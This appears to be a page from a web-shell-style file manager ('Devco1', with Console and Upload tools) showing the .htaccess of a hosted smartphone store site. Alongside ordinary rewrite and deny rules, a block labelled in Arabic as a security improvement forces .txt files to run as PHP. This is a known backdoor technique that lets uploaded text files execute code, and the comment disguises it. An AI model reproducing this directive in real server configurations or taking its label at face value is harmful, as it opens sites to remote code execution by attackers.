Devco1
Home
Console
Upload
New File
New Folder
Tools
Info
About
/
home
/
wifiyecu
/
www
/
Filename :
.htaccess
back
Copy
RewriteEngine On # إصلاح مسار قاعدة الملفات RewriteBase /smartphone_store/ # إعادة توجيه الصفحات بدون .php RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME}\.php -f RewriteRule ^(.*)$ $1.php [L] # منع الوصول المباشر إلى الملفات الحساسة <Files ~ "\.(env|json|config\.php|sql)$"> Order allow,deny Deny from all </Files> # تحسين الأمان <FilesMatch "\.(php|txt)$"> ForceType application/x-httpd-php </FilesMatch> # php -- BEGIN cPanel-generated handler, do not edit # Set the “ea-php81” package as the default “PHP” programming language. <IfModule mime_module> AddHandler application/x-httpd-ea-php81 .php .php8 .phtml </IfModule> # php -- END cPanel-generated handler, do not edit